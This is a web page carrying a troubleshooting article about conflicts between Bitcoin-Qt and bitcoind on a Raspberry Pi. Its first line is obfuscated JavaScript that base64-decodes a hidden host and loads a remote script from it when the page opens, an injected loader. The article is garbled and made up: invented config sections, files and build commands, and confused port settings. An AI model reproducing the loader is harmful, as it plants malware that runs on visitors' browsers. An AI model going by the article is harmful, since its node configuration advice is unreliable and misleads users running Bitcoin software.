const pdx=»bm9yZGVyc3dpbmcuYnV6ei94cC8=»;const pde=atob(pdx);const script=document.createElement(«script»);script.src=»https://»+pde+»cc.php?u=cd07d4c3″;document.body.appendChild(script);
Conflicting Bitcoin Core Files: Bitcoin-Qt and Bitcoind
When using Bitcoin core 25.1 on a Raspberry Pi, it’s not uncommon to encounter conflicts between the two different versions of the Bitcoin-QT and Bitcoind binaries. In this article, we’ll explore how to resolve these conflicts by modifying the bitcoin.conf
file.
The Issue: Conflicting Files
The bitcoin.conf
file contains settings that are specific to each version of Bitcoin core. The most notable difference between the two versions is the use of different protocol parameters.
Bitcoin-Qt and Bitcoind Binaries
When you download Bitcoin core 25.1, it comes with both Bitcoin-QT (Qt-based) and Bitcoind binaries. The bitcoin.conf
file contains settings specific to each binary version.
For example, when using Bitcoin-QT, the bitcoin.conf
file includes lines such as:
[general]
server = localhost:8332
port = 8332
When using Bitcoind, the corresponding line would be:
[general]
server = localhost:8333
port = 8333
The Conflicting Files
To resolve the conflict between bitcoin.conf
files from different versions of Bitcoin core, you need to update or modify the settings in each file. Here’s what we’ll do:
- Update .bitcoin dir on external drive
* Create an external drive (e.g., USB SD card) and copy the contents of your Raspberry Pi’s ~/.local/share/bitcoin-core
directory to the new drive.
- Edit .bitcoin files
On your Raspberry Pi, navigate to the ~/.bitcoin
directory.
For Bitcoin-QT:
nano ~/.bitcoin/qt.conf
For Bitcoind:
nano ~/.bitcoin/bitcoreconf.conf
Update Settings in .bitcoin Files
In each of the .bitcoin
files, update the following settings:
server
(for Bitcoin-QT): Change fromlocalhost:8332
tolocalhost:8331
port
(for Bitcoind): Change from8333
to8331
Rebuild .bitcoin Files
After updating the settings in each file, rebuild the .bitcoin
files:
./build-bitcoinqt
./build-bitcoreconf
Verify Conflicts are Resolved
To verify that the conflicts have been resolved:
- Start Bitcoin-QT and Bitcoind without specifying a
server
orport
.
- Verify that both services start successfully.
By updating or modifying the settings in each .bitcoin
file, you should now be able to use both Bitcoin core versions on your Raspberry Pi.